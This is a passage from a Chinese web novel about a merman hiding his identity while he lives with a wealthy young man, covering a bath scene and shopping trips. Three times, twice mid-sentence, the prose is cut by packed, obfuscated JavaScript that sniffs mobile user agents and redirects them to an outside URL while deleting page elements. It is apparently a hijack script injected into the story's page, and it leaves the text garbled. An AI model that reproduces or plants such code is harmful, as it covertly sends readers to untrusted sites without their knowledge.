那块浴巾系得松松垮垮的，只能遮挡住关键部位，齐思筠是标准的倒三角身材，胸肌紧致结实，腰身线条流畅，人鱼线若隐若现，荷尔蒙气息扑面而来。 ……好大。 棠溪生下意识屏住了呼吸。 4. 上岸的第4天 好大的胸肌。 肯定好好锻炼过身体吧。 棠溪生脑海里接连冒出两个念头。 鲛人天天在深海里畅游，运动量巨大，也只能拥有较为小块精瘦的肌肉，以及流畅漂亮的人鱼线，上天赋予的体格如此，注定鲛人这个族群无法拥有坚实的、大块大块的肌肉。 人类不能在深海里生存，探索海底须得借助设备和仪器，但这种生物长久居住在陆地上，繁衍生息，果然是神奇的物种。 说实话，他都有点羡慕了。 棠溪生忽然浑身轻颤，后知后觉地扭过头去，匆忙捡起差点消失在天际的礼貌，他摸了摸鼻尖，轻咬下唇，不再看齐思筠身上优美的肌肉线条。 他的另一只胳膊，还握在齐思筠手里。 齐思筠狐疑道：“小生，是不是隔壁屋水龙头只出热水，你不小心被它烫伤了，不知道怎么处理，所以跑回来等我？” 竟然又替他圆上了，好贴心。 齐思筠真是个大好人！ 棠溪生再次抬眸，对上齐思筠关切的眼神，轻轻摇头，又快速点头。 总不能告诉齐思筠，是他好久没上岸，适应不了环境和事物的变化，所以才用不来那些东西吧？ 好丢脸。 而且还可能会暴露他非人类的身份。 别墅有保姆定期打扫，齐思筠平常想过来住，知会一声就够了，弄乱也无所谓，今天是棠溪生来做客，他才一副特别勤快的模样，亲手收拾了那堆纸笔，却忘了把最开始拿出来的家用药箱给放回去。 但里面似乎没有可以用的药了。 “走，”齐思筠没管棠溪生乱七八糟的头部动作，把人从床上拽起来，语气不容反驳，“先去冲个凉水。” 棠溪生顺从地跟着齐思筠走进浴室。 浴室里的热气还未完全散去，镜面上覆盖着一层薄薄的水雾，棠溪生嗅着湿热的空气，悄悄垂眸，努力不去看前方齐思筠的腰窝，克制住想伸手的念头。 ……这人怎么不好好穿衣服？ 连他一条鱼都知道，在外人面前要拿幻术蔽体呢！ 齐思筠单手拧开水龙头，轻轻握着棠溪生的胳膊进行冲洗。 水声哗哗，回荡在安静的浴室里，气氛莫名有些尴尬，棠溪生盯着出水的地方，眨了眨眼睛，他略微转开胳膊，不让齐思筠看到逐渐消失的红痕。 这水能直接喝吗？ 他嗅嗅嗅。 嗯…… 有一股刺鼻的味道，不能喝。 “明天我找人处理一下隔壁的水龙头，小生，你就在我这间屋子里洗吧，”齐思筠关上水龙头，“怎么才认识你几个小时，你都第二次受伤了。” 棠溪生望着齐思筠的琥珀瞳孔，竟然读懂了其中的情绪，似乎是在自责。 可是，他两次受伤都与齐思筠无关，这人为什么要自责呢？ 就因为他眼下待在齐思筠家里，是他名义上的对象吗？ 人类还真是奇怪。 想是这么想，行动却不能这么表达，棠溪生乖巧地一颔首，走到隔壁，把齐思筠之前准备好的洗漱用品都抱了过来，指尖轻轻摩挲着衣料。 这些东西都是真实存在的，比扭曲视觉的幻术有趣多了。 齐思筠打开花洒，在液晶屏上点了点，试了下水温，“小生，现在温度合适，不会再烫伤你了，如果不行的话，你再稍微调一下。” 棠溪生怀里抱着小熊印花睡衣，犹豫着点点头，指了指门，示意齐思筠出去。 他要洗澡了。 鲛人入水后一段时间，就会不受控制地变回原形，他可不能让齐思筠看到尾巴，否则就大事不妙了。 虽然他的鳞片光滑细密，边缘还很锋利，好看又实用，最重要的是从来不会掉，但充其量也只有薄薄的一层…… 相当于下半身全.裸。 齐思筠正要转身离开，突然回过头来，“小生，门别锁死了，你喊不了人，有什么事的话，随便拿个东西砸出点动静，我马上就进来。” 棠溪生知道齐思筠是关心自己，微微一笑，比划了个谢谢的手语。 就在刚刚齐思筠调试水温的几分钟时间了，他大致已经弄懂了该怎么使用花洒，比如：摁左边的按钮是变冷，戳右边的按钮则是加热，有上下箭头的两个拨片，可以调节水力的大小…… 但他最感兴趣的还是浴缸，如果注满水，会像一汪超小型的湖泊。 门咔哒一声关上。 人类洗澡可真讲究，不像他们鲛人，只要烫不死、毒不死就好了，但他刚刚才被热水烫了一下。 棠溪生默默叹息，结束吐槽，打了个清脆的响指，解除上半身的幻术。 门又啪的打开。 齐思筠探头道：“对了小生，你脖子上的伤口才消过毒，最好不要沾到水……” 尾音变成上扬的调调。 棠溪生上半身赤裸，墨色长发散落在颈侧，泛蓝的发尾在灯光照耀下，显得说不出的朦胧梦幻，雪白中的粉果若隐若现，他诧异地望向门口站着的齐思筠，嘴唇嚅嗫，只蹦出了半个走调的啊字。 此刻，两个裸着上半身的男人在浴室里，罚站似的面面相觑，空气凝滞住了。 “我刚刚是说，水最好不要沾到你，可能导致感染……打扰了！”门又砰的一下关上，截断了齐思筠有些走调的话语。 啊。 就这么水灵灵的被看光了。 ……虽然不是下半身。 棠溪生同手同脚地走到门口，耳垂已经红得如同火烧云一般，他把手放到门把手上，想起齐思筠的嘱咐，考虑到这是在别人家里，最终放弃了上锁。 首先，他们俩都是男的。 其次，他刚刚也看了齐思筠的，明显是齐思筠的肌肉更结实。 应该没有关系……吧？ 啊啊啊啊啊啊！！ 棠溪生无奈叹气，捏了捏发烫的耳尖，决定停止思考，他解除了全部幻术，放了几乎满满一浴缸的水，用指尖试了试水温，这才敢跨进去，慢慢沉入浴缸里。 好舒服。 ……总算可以暂时歇一口气了。 棠溪生感受着全身上下被水包裹的滋味，仿佛回到了熟悉的大海里一样，他长发一缕缕的飘散在水里，湿漉漉的，凌乱地贴在身后和额前，和洁白肌肤形成极强的反差，眼尾因氤氲水汽而略微泛红。 两腿修长的腿上下交错，忽然变成一条银蓝色的鱼尾。 一刹那，水花四溅。 棠溪生的长发如同褪色一般，整个变回了雪白，下方仍保留了渐变的蓝，耳鳍是和鱼尾相同的银蓝色，尖端半透明，看起来如梦似幻。 他的五官变得愈发精致妖孽，线条立体流畅，宛如以歌声魅惑人心的海妖。 这正是棠溪生作为鲛人原本的模样。 成年鲛人的鱼尾能达到两米多长，不仅漂亮，还是世上罕见的武器，其力量之强，能够瞬间绞杀敌人。 还好齐思筠家的浴缸够大，不然他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607032|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾巴就没办法完全放下了。 那得多委屈呀。 鱼尾轻轻摆动，棠溪生伸手往上浇水，发现自己够不到垂落在外面的尾巴尖，他无奈地朝上挪了挪，挺直背脊。 要想完全容纳他的鱼尾，这个浴缸还是差了一点。 估计是他又长高了。 但上岸以后，不比往日在海里威风凛凛，如今还有如此充足的水可以用，就已经很不错了。 总之，不缺水万岁！ 修长的五指恢复成蹼爪模样，棠溪生随机挑选中一瓶黄色的圆筒，锋利的指甲从上面刮过，留下些许刮蹭痕迹。 “沐、浴、露。”棠溪生鱼尾一下下拍打着水面，定睛一看，极其小声地读出了长方形瓶子上面印着的字。 他的嗓音清润，略带一丝沙哑。 然后棠溪生愣住了。 太久没开口说话了，以至于现在听到自己的声音，他居然会感到不适应，简直就像是从陌生人嘴里发出来的。 但装哑巴的日子还有很久，他必须赶紧习惯，否则指不定会有危险呢！ 棠溪生再次告诫自己，一定要隐藏好自己的鲛人身份，又暗自下定决心，要当一个合格的人类，就从现在开始他仔细阅读了沐浴露和洗发露背面的文字，把它们挨个用了一遍，放回旁边。 瓶瓶罐罐排成一列，像是站岗放哨的护卫，守卫某条小鱼如愿以偿的沐浴。 棠溪生冲掉所有泡泡，按下按钮，抽走浴缸所有水，又放水重复以上步骤，如此半个多小时过去，保证自己变回了一条干净的、香喷喷的鱼，这才变出两条修长的人腿，有些别扭地瘪瘪嘴。 他嗅着湿答答的空气，恋恋不舍地钻出了浴缸。 澡洗得非常顺利，应该把从海里夹带的污染物也清洗干净了。 完美！ 棠溪生感到心满意足，把水珠擦干，套上睡衣，用毛巾轻轻擦拭着头发。恢复成黑色的长发披散在右边，恰好挡住了他那因为泡水而痊愈的颈侧伤口。 他慢吞吞地走出浴室，回到房间里。 齐思筠本来瘫倒在床尾玩手机，玩得昏昏欲睡，听到拖鞋的啪嗒声传来，立刻翻身坐起，撑起耷拉的眼皮，“小生，你终于洗好了。” 他这会儿身上穿着的，赫然是和棠溪生一模一样的小熊睡衣。 看来齐思筠很喜欢这件睡衣，所以才买了两件一样的，棠溪生在心里嘀咕了句，冲着齐思筠点点头。 他对着房门伸出食指和中指，前后交替几次，然后双手合十，枕在右耳朵边，示意他马上要回隔壁房间去了，大概还有早点休息的意思。 手语他学得不多，只能比划个大概。 希望看的人都能懂TvT “吹风机给你放在床头柜了，记得吹干头发再睡觉，”齐思筠歪头一笑，露出那颗明晃晃的小虎牙，“晚安，明天见。” 他看懂了棠溪生乱七八糟的手语，或者说，他读懂了那个迫切想要离开的眼神。 甚至准确地给出了回应。 棠溪生眼眸亮晶晶的，回以浅浅一笑，带有些许复杂的意味，不仅是感谢眼前这件事，也在感慨命运无常，他眨眨眼，朝着齐思筠啊了一声。 晚安。 明天见。 /// 月色如水，城市灯火阑珊，而海滩边趋于寂静，唯有海浪轻拍着礁石的声音，如同一支轻柔的交响乐，哄着人们沉入梦乡，面见周公。 二人住在相邻的房间，一夜好眠无梦。 5. 上岸的第5天 第二天，齐思筠带着棠溪生来买手机，他刚踏进店子里，手机就响了。 果不其然，是钟慕仙。 “妈，我说了我不需要相亲，我有对象，”齐思筠接起电话，抢先开口，打断了钟慕仙的施法，“这么优美的文字您倒是仔细品味一下。” 钟慕仙言之凿凿：“儿子，细品也品不出照片、视频和真人来……只要妈没有亲眼见着，你那就是薛定谔的对象。” 说不通。 根本说不通。 齐思筠扶额苦笑，可惜手机那头根本看不到表情，“王婶和许叔都是我的目击证人，我不信他们没跟您二位八卦。” 钟慕仙冷哼，“你小子，妈当时在紧急加班，处理工作，就听到个名字。” 齐礼安待在一旁，试图加入战场，“儿子，你王婶昨天把你对象一通乱夸，天花乱坠的，说是人特别好看，还很懂礼貌，反正哪哪都好！” “我当时在看电视来着，怎么又错过了……”钟慕仙狐疑道：“这瓜保真吗？” “真真真，比您手上那只纯金的镯子还真，”齐思筠无奈一笑，语气缓和了些，“小生可漂亮了，跟天仙下凡来扶贫似的，也很有礼貌。” 钟慕仙震惊道：“那人家怎么看上你的？你除了家族遗传的好基因，还有什么值得人家贪恋的？” 齐思筠无奈，“对，您儿子什么都没有，活这么大岁数只剩下一张脸了，脸还是您二位精心雕琢的，人就是瞎了眼才看上我的。” 钟慕仙诚实道：“儿子，饭可以乱吃，话不能乱讲，人要是瞎子的话，就更没法看上你了。” 齐思筠：“……” 不愧是他妈，净说些大实话。 棠溪生默默听着齐思筠打电话，不动声色地环顾四周，他见到了许多新奇的电子产品，却一动也不敢动，生怕搞坏了。 听到电话里的男女声又要吵起来，齐思筠争分夺秒，捂住手机听筒，对着店员说：“麻烦把你们店的最新款拿出来看一下，谢谢。” “好的，您稍等。”店员不多时就拿着东西回来了，对着棠溪生微笑道：“先生，咱们家的产品都是有质量保证的，尤其是这款，镜头升级，内存更大，运行速度更快，您可以先试一下。” 干了这么多年，最起码的眼力还是有的，这位短头发帅哥在打电话，手机自然是他买给旁边那位长头发帅哥的。 服务业干的就是一个态度，重点服务的对象可不能搞错，不然还赚什么钱。 店员脸上洋溢的笑容越发真挚。 四台最新型号的平谷手机有紫、黑、白、蓝四色，整整齐齐的放在透明柜台上，在灯光的照耀下，反射出金子般绚丽的光芒。 原本以为就是随口一提，没想到竟然真的带他来买手机了。 棠溪生看得几乎愣住，好半天才拥有了一些实感，望向齐思筠的眸光微动。 他一条鱼，居然也要拥有手机了吗？ 齐思筠正侧头听着电话里的训话，极其敷衍地连嗯好几声。 “你爸的意见不重要，关键是让妈和你对象先见一面，这样妈可以帮你把把关，”钟慕仙仍在循循善诱，“难道你想等到思雅回来，直接吃家宴吗？” “她这几天说可想和你对象视频了。” “我这儿都乱成一锅粥了，您还真想端起来趁热喝了是吗？”齐思筠无语，“小生是个i人，性格很内向，我喊他来家里玩一趟不容易，您这颗热情似火的心稍微收敛点儿好吗？” “算我求您，最近千万别来别墅这块地视察，别没住几天，就给人吓跑了。” 钟慕仙嗙的拍桌，“你那个什么‘痛墅’和‘考蛇普雷’，爱玩就玩，妈没反对过！但你家是在海边吗？多大的人了，每次一遇到点困难就躲。” 催婚能是有点困难吗？ 简直要命！ “是是是，”齐思筠面无表情地捧读，“您二位在的地方才是我的家，超级无敌温暖的家，啾咪。” “不过麻烦您转告齐思雅，别短信轰炸我了，等她回来，睁大那双卡姿兰大眼睛好好看，饱饱眼福。” 钟慕仙：“妈不是你的传话筒！你自个儿跟你姐说去。” 齐思筠装聋，朝着那几台手机微扬下巴，放缓声线道：“小生，你试试，不喜欢的话就换个牌子买。” 四台手机都是最新款，功能强大，核心配置一样，只有颜色上的区别。 棠溪生伸出手，一个个摁亮，装模作样地划拉屏幕，戳开了合眼缘的几个app，他有些为难地蹙起眉头，然后捂住嘴，打了个哈欠。 好困哦。 齐思筠总算应付完父母的追问，得到“不会来别墅”的肯定答复后，挂断电话，“怎么了小生？” 棠溪生指了指自己眼底，那里有一圈淡淡的黑青，他朝齐思筠投去一个三分幽怨，七分委屈的眼神。 怎么了？ 还不都是因为你！ 今天一大早，齐思筠就敲响了棠溪生的房门，“小生，你醒了吗？今天得出门去买点必需品，对了，得先买个手机，不然我怕联系不到你人。” 棠溪生睡在柔软的大床上，翻了个身，用枕头捂住脑袋，下意识应道：“嗯……” 齐思筠站在门外，没听见这气若游丝的一声，继续念叨：“醒了的话先起来吃饭？我做了早饭。” 棠溪生迷迷糊糊的，听到还算熟悉的声音和不太熟悉的敲门声一阵阵传来，大脑终于恢复运转，他打了个激灵坐起身，头顶一小撮黑发猛地炸开。 好险。 这是在别人家里，他差点忘记了自己还是个哑巴！ 棠溪生茫然地摸到了大腿，发现睡衣和睡裤不知何时飞到了床底，现在他全身上下光溜溜的，只剩一条大红色裤衩，还是齐思筠昨晚找给他的。 说是什么本命年。 喜庆。 鲛人体温偏低，长久在深海里生活，睡觉与否都从来不穿衣服，半夜空调定时关闭后，气温回升，所以他下意识把衣服扒光了。 还好齐思筠家房间多，不用紧巴巴地凑在一间睡，不然就尴尬了。 棠溪生有些烦躁地抓了抓头发，把衣服裤子套好，哒哒哒的跑去开门。 “吱呀。” 地板光滑平整，棠溪生没穿拖鞋，冲得太快，差点没站稳。 齐思筠眼疾手快地扶住了棠溪生，二人肌肤相贴，“当心。” 清新的柑橘味一阵阵钻进棠溪生的鼻腔，是昨晚用过的那瓶洗发水的味道，前方紧贴的胸膛起伏，臂膀坚实有力，温热气息喷洒在他的颈侧。 棠溪生的心脏漏跳了一拍。 齐思筠抚平了棠溪生头顶那撮炸毛，沉声嘱咐：“别再受伤了。” 棠溪生脸颊微红，点点头，不着痕迹地从齐思筠的臂弯里退了出来，宛如一条滑溜溜的小鱼。 “把鞋子穿好，小生。”齐思筠视线落在棠溪生冷白的脚踝上，挑眉道：“房子比较大，难免有些细节没处理到位——你先去洗漱？” 棠溪生跑回床边穿好鞋，对着齐思筠提起左脚，比划了个下去的手势。 齐思筠弯眉一笑，露出那颗小虎牙，“行，我在楼下等你吃饭。” 刚才弥漫的奇怪氛围荡然无存。 棠溪生和牙膏牙刷斗争了一会儿，终于洗漱好，吃完饭，就被齐思筠带出了别墅，二人走在宽阔平坦的大道上，撞见了迎面走来的许管家。 许管家鞠躬道：“少爷，夫人说您今天可能要出去，喊我过来给您开车。” “果然，姜还是老的辣，”齐思筠轻轻一笑，似乎猜到了，“那就麻烦许叔了，先去最大的那家平谷直营店吧。” “是。” 二人依次上车。 黑色的迈巴赫缓缓驶出地下车库，车头调转，驶向远方的市中心，车载音响没有启动，车里安静得如同一潭死水。 许管家本身就话少，作为司机，他的注意力必须都放在前方的道路上。 齐思筠不晕车，在专心致志地玩手机，屏幕刨得飞快，有时又会停下来切换页面，噼里啪啦的疯狂打字。 车身摇晃起伏，三个人里唯有棠溪生昏昏欲睡，但他闭上眼睛才发现自己睡不着，舌尖都是刚刚吃掉的三明治味—— 齐思筠亲手做的，味道不错。 棠溪生只好装睡，偶尔把眼睛撑开一条缝，偷瞟齐思筠的手机屏幕，学习操作，以免等下用不来手机。 三人一路无话。 不知过了多久，许管家踩下刹车，回头道：“少爷，到了。” “谢谢许叔。”齐思筠喊醒装睡的棠溪生，迈开长腿，推门下车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607033|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许管家留下一句“少爷，有需要喊我”，就开车离开了，只有齐思筠和棠溪生两个人进店。 棠溪生思绪逐渐回笼，又打了个哈欠，他指着最左边那部紫色的手机，拇指和食指微曲，指尖抵在颌下，轻轻点头。 这是表达喜欢的意思。 他尾巴是银蓝色的，所以首先排除相同的蓝色，白色和黑色似乎有点普通。 而这个紫色很亮眼。 最重要的是，这东西好像和齐思筠的手机颜色一样，但样子略有不同。 齐思筠问：“小生，你喜欢这个？” 棠溪生不懂手机，也不想麻烦齐思筠多跑几趟，只为给自己挑一个手机，他其实想要和齐思筠一样的款式，片刻后又觉得这样不好。 他摇摇头，顿了下，点点头。 齐思筠拿不准棠溪生的意思，眉峰上扬，“那到底要不要这个型号和颜色，还是换一家买？” 棠溪生眼帘微垂。 店员微笑道：“先生，不好意思打断您，您手里这款紫色的手机，也由本店售出，是上一个季度发行的。本店正好有以旧换新活动，您看您是否需要呢？” 推销新型号也没必要专门提“紫色”。 这是在提醒他，棠溪生想和他买同款手机，但不好意思表达。 齐思筠唇边漾开一抹笑意，“活动就不参加了，没必要，正好我也想换个手机，紫色的拿两个，怎么付款？” 店员脸上笑意扩大，恭敬道：“现金、扫码和刷卡都支持的，您跟我来，这边请。” 齐思筠迈开步伐，回头嘱咐道：“别乱跑，小生，你看看店里其他产品，有喜欢的告诉我。” 这人是害怕他走丢吗？ 拥有良好自我管理意识的棠溪生乖巧点头，目送齐思筠高大的背影离开，进了某间什么也没写的小黑屋里。 门板砰的关上，白晃晃的。 怎么付钱买东西，还要把买东西的人给关起来？ 你们人类好可怕哦。 棠溪生开始围绕柜台瞎转悠，偶尔看到感兴趣的电子产品，他会伸手轻轻触碰屏幕，然后试探着按上方显示的按钮。 鲛人的力气很大，化作人身打了些许折扣，但还是能把普通人类打骨折，他从昨天上岸开始就刻意收敛力气，生怕把齐思筠家的东西给弄坏了，赔不起。 幸好没有。 这家平谷直营店很大，店员都穿着统一的工作服，忙着招呼新进店的客人，或者聚在角落小声聊天，他们就像约好了似的，没人敢上前打扰棠溪生。 棠溪生在店里和电子产品们单方面意念交流，玩得不亦乐乎。 大概十五分钟过去，齐思筠拎着两个白色纸袋子回来了，把其中一个递给棠溪生，“小生，这个是你的，拆开看看。” 去了一趟小房间，怎么脸色变差了？ 棠溪生接过小袋子，犹豫再三，戳了戳齐思筠的脸蛋，“啊？” 肉眼可见的疑惑不解。 齐思筠抬手，虚虚覆盖住棠溪生的手，心情莫名好了许多，“没事，就是刚刚经理非得拉着我聊天，有点儿烦。” 齐思筠的骨架比他大，手也更宽大一些，肌肤相贴，棠溪生感觉体温都无形之中升高了，雪白耳廓染上一抹绯红。 他赶紧把手抽回来，开始自我反思。 装哑导致沟通不顺畅，刚刚比划不来，鬼迷心窍地上手碰了脸，作为鲛人，还是太年轻、太冲动了。 不过，既然齐思筠说“没事”，那就肯定没事，没事就好。 棠溪生放心了。 齐思筠瞥见棠溪生泛红的耳尖，视线缓缓挪动，从t恤看到牛仔裤。 这两件都是他从衣柜里翻出来的。 两个人身高相差大半个头，穿同样的衣服毫无违和感，不过是从合身变成oversize。 齐思筠是短发，棠溪生则是微卷的长发，一个锋利个性，一个干净温和。 “今天要把家里缺的东西都添上，”齐思筠拍了拍棠溪生的肩膀，轻松道：“先去给你挑点儿新衣服，干巴爹。” 干巴爹？ 哪里有一位干巴的爹爹吗？怎么不给人家水喝？ 经过这么一打岔，棠溪生心里的疑问盖过了刚才的尴尬，他轻轻啊了一声，赶紧抬脚跟上齐思筠的步伐。 6. 上岸的第6天 齐思筠带棠溪生直奔他最常逛的那家服装店，二人一进门就被店员围住了。 左边的店员笑容满面，“欢迎光临！” 右边的店员热情似火，“模特身上的是我们店的最新款，还有些没上市的定制款，可以拿给您看，请随意挑选～” 中间的店员又惊又喜，“齐先生您来了，这次想尝试哪种风格？需要模特换上衣服给您看一下吗？” “不需要模特，”齐思筠对店员的态度习以为常，下巴朝棠溪生一点，“我不买，帮他看。” 第三位店员点头，转向棠溪生，“这位先生，您个人倾向于选择什么style呢？这边可以帮您参考一下哦。” 撕苔哦？ 什么撕苔哦？ 先是被店员的过分热情灼伤，后又被新鲜的词汇猛然袭击，棠溪生呆在原地，眼神迷茫，求助一般望向齐思筠。 齐思筠挑眉道：“我对象社恐，今天嗓子也不舒服，有什么问题来问我。” “好的。”店员从善如流，对着棠溪生笑道：“您可以先逛一逛，再做决定哦。” 嘤。 逛什么？ 决定不了一点！ 棠溪生刚走几步，就陷入纠结的漩涡之中，倏地回头，就发现齐思筠不知何时已经陷进柔软的沙发里了。 看起来好舒服，比换衣服舒服。 ——这不得赶紧陪一个？ 棠溪生迈开长腿，悄悄地靠近沙发。 “来都来了，别不好意思，”齐思筠抬眸扫到这个动作，及时制止了棠溪生想偷懒的举动，“我在这里躺会儿，你去看看有没有喜欢的衣服，只要好看，都可以买。” 棠溪生沉默着点点头，用脚步丈量了店铺里的每块地砖，兜兜转转，很快又转回到齐思筠面前—— 他两手空空，看起来无欲无求。 “回来了，这么快？”齐思筠疑惑不解，“小生，难道你也有选择困难症，挑不出来？” 这么方便，能当成借口。 看起来他非得有这个病不可了！ 棠溪生决然颔首，“啊啊。” “那就我选，”齐思筠指了几件衣服，让店员找给棠溪生，“小生，去试试。” 棠溪生暗中观察，跟着其他客人进了试衣间，好半晌才出来，看到齐思筠点头，就赶紧去换下一件，宛如一个没有感情的试衣机器。 店员站在旁边，随时待命。 “这件放一下，刚刚那件红的也不错，”齐思筠懒洋洋地翘起二郎腿，一边点评，一边使唤店员，“你拿一下，他不是八爪鱼，身上挂不了这么多。” 此刻，棠溪生穿着一件纯黑色的衬衫，裤子还是那条牛仔裤。 齐思筠目不转睛地盯着棠溪生。 店里的几束灯光洒落，棠溪生泼墨的长发披散在脑后，将人衬得更加白皙，脖子上微凸的条条青筋清晰可见，胸前两颗扣子解开，锁骨线条微微隆起，三颗小痣掩在衣物之间，若隐若现。 他慢条斯理地挽了挽衣袖，扣上不规则的浅褐色纽扣，露出半截如玉的手腕，和衬衫上的暗纹形成反差。 光是站在那，就十分赏心悦目，宛如一件精心雕琢的工艺品。 ［一碗汤］：亲爱的齐思筠，我下飞机了，您老人家在哪儿呢？ ［一碗汤］：宝贝，开门.jpg ［一碗汤］：我错了，我再也不敢不回消息了，但是你知道的，我们有时差。 ［一碗汤］：f**k，该死的竹子，你又浪哪儿去了，连你最好的发小的消息都敢不回了？！ “滴滴滴，滴滴滴。” 消息接连不断的传来，齐思筠捏住手机，无视了催命般的振动，从进店开始，他唇角那一抹笑意就没有消散过。 因为棠溪生。 一件几万块的普通衬衫都能穿出走秀的效果，实在是美得有点太超前了，这种颜值，想出个道简直不费吹灰之力。 星探估计还得倒贴。 齐思筠问：“小生，你觉得这件衬衫怎么样，好看吗？” 棠溪生原地转了个圈，抬眸打量镜子里同样动作的自己，感觉有点别扭。 最终他迟疑着点点头。 鲛人一族的歌喉和美貌都是与生俱来的，何况他平常在海里游，也从来不穿上衣，更没必要穿裤子。 棠溪生其实根本无所谓穿什么衣服，对他来说，不过是一个幻术的事。 但看齐思筠兴致高涨，似乎很热衷于像装扮洋娃娃那样打扮自己，于是棠溪生耐着性子，又试了十多套不同的款式，试得灵魂出窍，失去了所有的力气和手段。 他不该在这里。 他应该在海底TvT 频繁穿脱很麻烦，但棠溪生心里是高兴的，因为这是他第一次来买衣服，还有人陪同，更别提店员牌的人形夸夸机在旁边一刻不停地运转。 “您穿这件很合适呢，就像电视里走出来的大明星。” 棠溪生身上是一件绿色的针织无袖。 “我的天呐先生，这件衣服能够完美衬托出您的气质，连路过的蚂蚁都要惊叹的程度！” 棠溪生身穿刺绣为鸟羽的白西装。 “试试我手里这件吧，新到的款式，是知名设计师的大作，非常有时尚感～” 棠溪生套着全是流苏和亮片的长衫。 在店员们的轮流夸赞下，许多件被齐思筠暗地里以“审丑”吐槽的衣服，都争先恐后地爬上了棠溪生的身。 门口那些无脸模特可以直接丢了。 这个世界确实是看脸的。 齐思筠仔细端详，沉吟片刻，决定都要了，因为穿在棠溪生身上确实好看得过分，这些衣服的命太好了。 齐思筠：“行，衬衫拿着，小生，去试下一件，fighting。” 怀挺。 棠溪生心里嘀咕什么东西，回到试衣间换了件毛衣和风衣，最后开始跟裤子纽扣做斗争，他暗自思忖，从齐思筠的脸想到店员的态度，得出一个惊天结论： ——齐思筠是个好人。 好人齐思筠坐在沙发上望眼欲穿，没能望到熟悉的人影，终于舍得施舍一眼给手机屏幕，他看清楚了对话框的内容后，修长手指连点，撒下一连串字母。 ［SY］：Sorry,Thephoneyoudialedisnotanswered……记不住了。 ［SY］：Pleaserediallater. ［一碗汤］：？？？ ［一碗汤］：这个喷不了，这个真有病，齐思筠你到底接不接我？！ ［SY］：你知道我副驾驶不让人坐，怎么出国一趟还变物种了？多稀奇啊，赶明儿就把你丢电视台，绝对能成头条。 ［SY］：犯了什么弥天大错，叔叔这次连派人接你都不肯，卡被停了？回去还不得搓衣板忏悔。 ［SY］：不对，你现在回不回得去都不一定。 ［一碗汤］：别提了，遇到点小麻烦。 ［一碗汤］：从我爸停我卡的那一刻起，他就被我单方面吊销我爸资格证了。 ［一碗汤］：竹子爸爸，你现在就是我亲爹！ ［一碗汤］：算我求求你了，来机场接你亲爱的儿子吧。 ［SY］：没空，乖儿子，一边儿玩泥巴去，明明打个车就能解决的事，我不信你身上连200都没有。 ［一碗汤］：倘若我真的连200都拿不出来，阁下又该如何应对？ ［SY］：不应对，今天忙着陪人呢。 ［一碗汤］：猫猫头震惊.jpg ［一碗汤］：不得了，千年铁树开花了，大尾巴狼要修身养性了。 ［一碗汤］：采访一下，您这位重度颜狗是被哪路下凡的神仙给拿下了？ 屏幕对面是齐思筠的发小罗宋。 齐思筠和罗宋关系好得能穿开一条开裆裤，从幼儿园到大学都在同一所学校里读书，甚至大部分时候还在一个班。 研究生三年，齐思筠留在国内读书，而罗宋选择飞去国外学设计。 齐思筠永远忘不了，出国前罗宋是如何抱着自己的大腿，一把鼻涕一把眼泪的喊他“勿相忘”。 因为他们本身就很富贵了。 结果罗宋到那边半年，学习之余，整天花天酒地，两个人的聊天框开始还有文字和语音，到后来逐渐只剩下满屏冷冰冰的数字。 关系有够纯粹的。 齐思筠冷冷一笑，懒得继续回复，换了个姿势跷二郎腿，他望着从试衣间里走出来的棠溪生，眼前一亮。 白色毛衣搭配卡其色风衣，将棠溪生身形衬得更加修长挺拔，气质优雅，精致的脸越发迷人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607034|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果不是因为反季节穿搭，棠溪生整个人都冒着热气，目光下意识追随着冷源，眼神空洞，也许试穿效果会更好。 棠溪生站在齐思筠跟前，原地转了两个圈，抬起手，隔空狂扇脸颊和额头，像一只不能接受自己是毛茸茸的小猫。 现在这样就很好。 齐思筠十分满意，几乎抑制不住冲动，想好好揉一把棠溪生的脸，最后只一本正经地支着下巴，严肃点头，“这两件看起来不错。” 听到评价，棠溪生瞬间把风衣扒掉，奶白的毛衣内搭露出来，他睫毛轻颤，整个人乖巧极了。 齐思筠问：“你还想试试别的衣服吗，小生？” 棠溪生怀抱风衣，疯狂摇头。 齐思筠：“那就不换了，外面比较热，你去换成最开始那件t恤。” 换装游戏总算结束了，棠溪生如释重负地点点头，店员把第一件试穿的咖色t恤递过来，他左手提风衣，右手拿短袖，第n+1次钻进了试衣间。 齐思筠目送白色背影消失，勾了勾唇角，他掏出一张卡递给店员，走到柜台边，再度低头敲字。 ［SY］：你现在直接打车到整容医院，挂个专家号，往脸上雕琢，集齐999刀，大概就能比得过他一根头发丝。 ［一碗汤］：这么夸张？我爬也得爬过来，非得见到这位活神仙不可！ 